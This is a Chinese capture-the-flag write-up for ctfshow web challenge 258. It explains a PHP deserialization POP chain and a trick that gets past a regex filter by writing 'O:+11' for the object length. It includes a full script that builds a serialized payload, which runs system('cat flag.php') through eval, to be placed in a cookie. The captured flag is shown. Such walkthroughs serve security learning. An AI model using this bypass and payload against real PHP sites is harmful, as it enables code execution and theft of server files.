ctf show web 入门258

本题跟上一题思路基本一致

都是通过pop链最后让 eval()函数执行,并且通过反序列化将eval()函数中传入system(cat flag.php)想要执行eval()函数要先执行getinfo()方法,通过代码审计可以知道要执行getinfo()方法得先执行__destruct()方法

要执行__destruct()方法就要有一个对象被销毁,在我们传递完username和password的值后就会执行__destruct()方法

但是这一天增加了过滤机制,在反序列化之前,多了一行代码:

if(!preg_match('/oc:\d+:/i', $_COOKIE'user'))

这句正则表达式会检查 Cookie 字符串,如果里面包含 "不区分大小写的 o: 或 c: 后面紧跟一个或多个数字,再紧跟一个冒号" 的结构,就会拦截,不执行反序列化

PHP 在解析反序列化字符串时,对于表示类名长度的数字,前面如果带有一个正号 +,它依然能够成功将其转换为整型

因为多了一个 + 号,正则匹配中的 \d+(纯数字)就被打破了(变成了 + 后面接数字),从而成功绕过 preg_match,而后面的 unserialize() 在执行时会自动把 +11 处理成 11,正常反序列化

我们可以直接在本地写一个简单的脚本

php 复制代码
<?php
class ctfShowUser {
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;
    public $class;
}

class backDoor {
    public $code = "system('cat flag.php');";
}

$b = new backDoor();
$u = new ctfShowUser();
$u->class = $b;

$payload = serialize($u);

// 手动或自动在 O: 后面补上 + 号
// 替换前:O:11:"ctfShowUser" -> 替换后:O:+11:"ctfShowUser"
$payload = str_replace('O:', 'O:+', $payload);

echo urlencode($payload); 
// 注意:加号(+)在 URL 传输中会被浏览器误认为空格,所以这里必须进行 urlencode 编码,把 + 变成 %2B
?>

这个php代码运行后生产的payload已经帮我们绕过了正则限制,所以我们可以直接把它放到cookie中

这里的username和password的值随便传,按下回车后检查源代码就可以得到flag

ctfshow{69dba413-7d8b-47f0-8af9-ec267214e14e}

相关推荐
方白羽1 分钟前
Android Studio 自动国际化插件:SmartI18n
android·android studio·intellij idea
默_笙13 分钟前
❗ 给金鱼装记忆(上):从白板到笔记本,AI 的短期记忆生存指南
前端·javascript
酷酷的逗逗乐14 分钟前
前端转 Agent 开发 · 第五节:Memory 会话记忆
前端·程序员
掘金挖土33 分钟前
前端手摸手跑路之 AI 应用开发(二)
前端·后端
沪上企服通1 小时前
代账数据的可移植性设计:开放接口、账套导出与 exit strategy 工程笔记(上海 5 家样本对照)
笔记·策略模式
mayaairi1 小时前
Vue2 组件通讯(四):v-model、scoped样式、mixins与plugins
前端·javascript·vue.js
梦曦i1 小时前
@meng-xi/uni-router 未来展望:夯实基础、深化体验、探索前沿
前端·uni-app
Yeyu1 小时前
AAOS AppCard 实践:怎么把自己的 App 塞进别人的卡片里
前端
江湖人称菠萝包2 小时前
【Windows】《深入浅出Windows API程序设计:编程基础篇》笔记-Chapter8-子窗口控件
windows·笔记
IT_陈寒2 小时前
Vite静态资源路径这个大坑害我调了一下午
前端·人工智能·后端